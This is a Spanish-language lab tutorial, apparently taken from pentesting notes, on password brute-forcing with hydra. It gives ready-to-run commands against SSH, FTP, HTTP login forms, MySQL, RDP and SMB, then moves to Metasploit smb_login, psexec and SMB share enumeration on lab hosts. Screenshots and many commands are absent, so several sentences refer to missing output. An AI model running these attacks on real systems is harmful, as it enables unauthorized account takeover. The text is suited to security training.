Ataques de fuerza Bruta
Por ejemplo vamos a hacer un ataque donde ya sepamos cual es el usuario (el usuario se llama pi), pero no sabemos cual es la contraseña, por tanto para la contraseña pondremos -P, entonces lo haremos de esta manera. Y ahora irá probando uno a uno con el diccionario que le pasemos hasta haber acertado, donde la contraseña es raspberry:
También puede darse el caso que de a medida que vaya probando intentos que nos lo vaya reportando, por tanto para esto utilizaremos la opción -vV:
También puede darse el caso de que no conozcamos el usuario pero sí la contraseña; y en estos casos pondremos la opción -L en el usuario y en la contraseña le ponemos la p minúscula; y le pasamos el diccionario:
Y ahora nos encontró el usuario:
También podemos quitar la opción de que se nos vaya reportando todo el rato cada intento quitando la opción -vV:
También podemos usar estos otros parámetros:
hydra -t 64 -l axel -P rockyou.txt ssh://192.168.0.39 -F -I
Lo haremos igual pero especificando ftp después de la dirección IP:
Aunque también podemos usar la opción -s 21 para referirnos al puerto de forma más manual:
Incluso si los anteriores parámetros no nos han funcionado, también podemos hacerlo de esta otra forma:
Vamos a suponer que estamos ante un panel de login normal como este:
Por tanto lo que debemos hacer es insertar unas credenciales normales e interceptar la petición con burp suite:
E interceptamos la petición:
Entonces, basándonos en los datos que nos proporciona burp suite al interceptar la petición, debemos poner el siguiente comando con hydra. Pondremos http-post-form porque se tramita con POST, tal y como vemos en burp suite. Pondremos dvwa/login.php porque lo podemos ver en burp suite en la primera línea. Pondremos también el username=^USER^&password=^PASS^ porque en la petición vemos la palabra username=canario&password=canario:
Luego en el Login=Login failed lo ponemos para que Hydra sepa cual es la respuesta del servidor cada vez que una password no es correcta y esto lo podemos ver cuando introducimos una contraseña incorrecta manualmente:
Y nos habrá encontrado la contraseña, que en este caso es admin:
Si nos encontramos con que el login a atacar corre por un puerto diferente, tenemos que utilizar estos parámetros:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 443 -f http-post-form '/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password'
MAQUINA INTERNAL (wordpress wpscan, hydra http, portforwarding chisel y hacking jenkins en docker)
Hacemos un reconocimiento con nmap para saber por donde está corriendo la base de datos MySQL:
Lo haríamos con este comando:
hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt 192.119.223.3 mysql
Y nos encuentra la contraseña:
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://10.0.0.31 -s 3333
Y nos encuentra los siguientes usuarios:
Vamos a utilizar la máquina windows 7 que ya tiene habilitado el login por smb:
Vemos que desde Kali podemos iniciar sesión:
Por tanto, podemos intentar iniciar sesión por smb usando hydra, que lo haríamos de la siguiente forma:
hydra -l mario -P /usr/share/wordlists/rockyou.txt smb://192.168.0.28
Aunque también podemos hacer otro ataque de fuerza bruta con el módulo de use auxiliary/scanner/smb/smb_login:
Realizamos las configuraciones añadiendo el diccionario (rockyou o unix_passwords, RHOSTS y lanzamos el ataque):
Y nos encuentra la contraseña:
Una vez hecho esto, es posible que podamos entrar dentro de la máquina por psexec usando el siguiente módulo:
use exploit/windows/smb/psexec
Donde le cargamos los datos para iniciar sesión obtenidos anteriormente:
Pero vemos que en este caso no funcionó:
Pero sí que podemos entrar por smb y enumerar usando herramientas como smbmap:
smbmap -H 192.168.0.28 -u mario -p 123123 -r Users
Y una vez hayamos enumerado el recurso compartido ya podremos acceder a él usando smbclient:
smbclient -U 'mario' //192.168.0.28/Users